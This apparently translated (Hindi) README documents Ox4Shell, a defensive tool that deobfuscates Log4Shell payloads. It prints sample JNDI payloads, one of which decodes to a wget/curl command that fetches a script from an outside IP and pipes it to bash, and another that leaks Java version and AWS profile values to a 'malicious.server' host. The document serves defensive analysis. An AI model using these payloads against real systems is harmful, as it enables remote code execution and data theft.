
Log4Shell पेलोड्स को आसानी से अस्पष्टता दूर करें।


Log4Shell पेलोड को आसानी से डीओबफस्केट करें।
जब से Log4Shell भेद्यता (CVE-2021-44228) जारी हुई है, तब से कई उपकरण Log4Shell पेलोड को अस्पष्ट करने के लिए बनाए गए हैं, जिससे सुरक्षा इंजीनियरों की जिंदगी कठिन हो गई है।
यह उपकरण अस्पष्ट किए गए Log4Shell पेलोड की वास्तविक सामग्री को उजागर करने का इरादा रखता है।
उदाहरण के लिए, निम्नलिखित अस्पष्ट पेलोड पर विचार करें:
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
Ox4Shell चलाने के बाद, यह एक सहज और पठनीय रूप में बदल जाएगा:
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
यह उपकरण बेस64 कमांड की पहचान और डिकोड करने में भी सहायता करता है उदाहरण के लिए, निम्नलिखित अस्पष्ट पेलोड पर विचार करें:
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
Ox4Shell चलाने के बाद, उपकरण हमलावर के इरादों को प्रकट करता है:
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
⚠️ हम अनुशंसा करते हैं कि Ox4Shell को इनलाइन पेलोड (-p) के बजाय किसी प्रदान की गई फ़ाइल (-f) के साथ चलाएँ, क्योंकि कुछ शेल वातावरण महत्वपूर्ण वर्णों को एस्केप कर देंगे, जिससे गलत परिणाम प्राप्त होंगे।
टूल को चलाने के लिए बस:
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The maximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
Log4j लाइब्रेरी में कुछ अद्वितीय लुकअप फ़ंक्शन हैं, जो उपयोगकर्ताओं को एनवायरनमेंट वेरिएबल्स, Java प्रक्रिया पर रनटाइम जानकारी आदि देखने की अनुमति देते हैं। यह क्षमता खतरनाक अभिनेताओं को विशिष्ट जानकारी की जांच करने की सुविधा देती है, जो उनके द्वारा लक्षित समझौता की गई मशीन की विशिष्ट पहचान कर सकती है।
Ox4Shell कुछ लुकअप फ़ंक्शनों में सामान्य मान डालने के लिए mock.json फ़ाइल का उपयोग करता है, उदाहरण के लिए, यदि पेलोड में ${env:HOME} मान है, तो हम इसे एक कस्टम मॉक मान से बदल सकते हैं।
डिफ़ॉल्ट रूप से प्रदान किया गया मॉक डेटा है:
{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
उदाहरण के तौर पर, हम Ox4Shell की मॉकिंग क्षमता का उपयोग करके निम्नलिखित पेलोड को डीओबफस्केट कर सकते हैं:
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}
इस प्रोजेक्ट का स्रोत कोड MIT लाइसेंस के तहत लाइसेंस प्राप्त है, जिसे आप LICENSE फ़ाइल में पा सकते हैं।